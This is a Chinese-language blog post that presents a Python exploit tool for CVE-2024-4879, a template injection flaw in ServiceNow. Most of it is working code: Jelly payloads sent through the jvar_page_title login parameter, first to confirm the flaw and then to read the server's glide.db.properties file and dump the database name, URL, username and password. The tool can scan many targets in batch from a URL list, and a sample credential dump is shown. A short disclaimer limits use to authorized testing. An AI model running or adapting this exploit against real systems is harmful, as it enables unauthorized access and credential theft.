ServiceNow 模板注入漏洞检测与数据库凭据导出工具

CVE-2024-4879 - ServiceNow 模板注入漏洞检测与利用工具

CVE-2024-4879 是一个功能强大的 Python 脚本,专为检测 ServiceNow 实例中的特定模板注入漏洞而设计。该工具能够快速扫描目标 URL,并在发现漏洞时自动导出数据库连接详情,为安全研究人员和渗透测试人员提供关键信息。

功能特性

  • 自动漏洞检测:通过发送精心构造的请求,检测 ServiceNow 实例是否存在模板注入漏洞
  • 数据库凭据导出:成功检测到漏洞后,自动提取数据库连接信息,包括数据库类型、URL、用户名和密码
  • 批量扫描支持:支持从文件中读取多个 URL 进行批量检测
  • 彩色输出界面:使用 colorama 库提供清晰的彩色控制台输出,便于快速识别结果
  • SSL 警告处理:自动禁用 SSL 验证警告,适应多种测试环境
  • 超时控制:内置 10 秒请求超时机制,避免长时间等待

安装指南

系统要求

  • Python 3.x
  • 网络连接(用于扫描目标 URL)

安装步骤

  1. 克隆项目仓库
git clone https://github.com/Mr-r00t11/CVE-2024-4879.git
cd CVE-2024-4879
  1. 安装依赖库
pip install requests urllib3 colorama

注意:argparse 是 Python 标准库,无需额外安装。

使用说明

基本用法

  1. 准备目标 URL 列表

创建一个文本文件(例如 urls.txt),每行一个目标 URL:

https://example1.service-now.com
https://example2.service-now.com
http://192.168.1.100
  1. 运行扫描工具
python CVE-2024-4879.py -f urls.txt

输出示例

当发现漏洞时,工具会输出类似以下内容:

[+] Vulnerability found in https://target.service-now.com
Database connection details dumped for https://target.service-now.com/login.do?jvar_page_title=...
[+] Database Connection Details:
glide.db.name = servicenow
glide.db.rdbms = mysql
glide.db.url = jdbc:mysql://127.0.0.1:3306/
glide.db.user = admin_user
glide.db.password = s3cr3t_p@ssw0rd
[!] Happy Hacking :)!

核心函数说明

check_vulnerability(url)

检测指定 URL 是否存在模板注入漏洞。如果漏洞存在,会自动触发数据库连接信息导出。

format_db_details(details)

格式化导出的数据库连接信息,提取关键字段(如数据库名称、类型、URL、用户名、密码)并以易读格式展示。

main()

处理命令行参数、读取 URL 文件,并遍历调用漏洞检测函数。

核心代码

漏洞检测与利用函数

# 漏洞检测核心函数
def check_vulnerability(url):
    # 构造漏洞验证 payload
    full_url = f"{url}/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
    
    try:
        response = requests.get(full_url, verify=False, timeout=TIMEOUT)
        
        # 检查响应状态码和内容,确认漏洞存在
        if response.status_code == 200 and "1337" in response.text:
            print(f"{Style.BRIGHT}{Back.CYAN}[+] Vulnerability found in {url}{Style.RESET_ALL}")
            
            # 构造数据库信息导出 payload
            dump_url = f"{url}/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/co..nf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
            
            dump_response = requests.get(dump_url, verify=False, timeout=TIMEOUT)
            if dump_response.status_code == 200:
                print(f"{Fore.GREEN}Database connection details dumped")
                print(format_db_details(dump_response.text))
                return f"{Fore.YELLOW}[!] Happy Hacking :)!{Fore.RESET}"
    except requests.RequestException:
        return f"{Style.BRIGHT}{Back.BLUE}Request failed for {url}{Style.RESET_ALL}"

数据库信息格式化函数

def format_db_details(details):
    """格式化提取数据库连接信息"""
    lines = details.split("\n")
    formatted_details = []
    for line in lines:
        if '=' in line:
            key, value = line.split('=', 1)
            # 仅提取关键数据库配置项
            if any(db_key in key for db_key in ["glide.db.name", "glide.db.rdbms", 
                                                  "glide.db.url", "glide.db.user", 
                                                  "glide.db.password"]):
                formatted_details.append(f"{key.strip()} = {value.strip()}")
    return "\n".join(formatted_details)

主程序入口

def main():
    parser = argparse.ArgumentParser(description="Check URLs for a specific vulnerability.")
    parser.add_argument('-f', '--file', required=True, help="File containing list of URLs")
    args = parser.parse_args()

    try:
        with open(args.file, 'r') as file:
            urls = file.readlines()
            for url in urls:
                url = url.strip()
                if url:
                    result = check_vulnerability(url)
                    print(result)
    except FileNotFoundError:
        print(f"File {args.file} not found.")
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    # 显示工具 banner
    print(f"""{Fore.LIGHTMAGENTA_EX}

 ██████ ██    ██ ███████       ██████   ██████  ██████  ██   ██       ██   ██  █████  ███████  █████  
██      ██    ██ ██                 ██ ██  ████      ██ ██   ██       ██   ██ ██   ██      ██ ██   ██ 
██      ██    ██ █████   █████  █████  ██ ██ ██  █████  ███████ █████ ███████  █████      ██   ██████ 
██       ██  ██  ██            ██      ████  ██ ██           ██            ██ ██   ██    ██        ██ 
 ██████   ████   ███████       ███████  ██████  ███████      ██            ██  █████     ██    █████  
                                                                                                      
                  Template Injection Vulnerability in ServiceNow - By Mr r00t                                                                                     
          {Style.RESET_ALL}""")
    main()

免责声明

本工具仅供教育和授权测试使用。未经明确许可对系统进行扫描可能违反法律法规。使用者需自行承担因滥用工具而产生的一切法律责任。
6HFtX5dABrKlqXeO5PUv/4JVezAqy2aUyG+UfCaImY0=

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容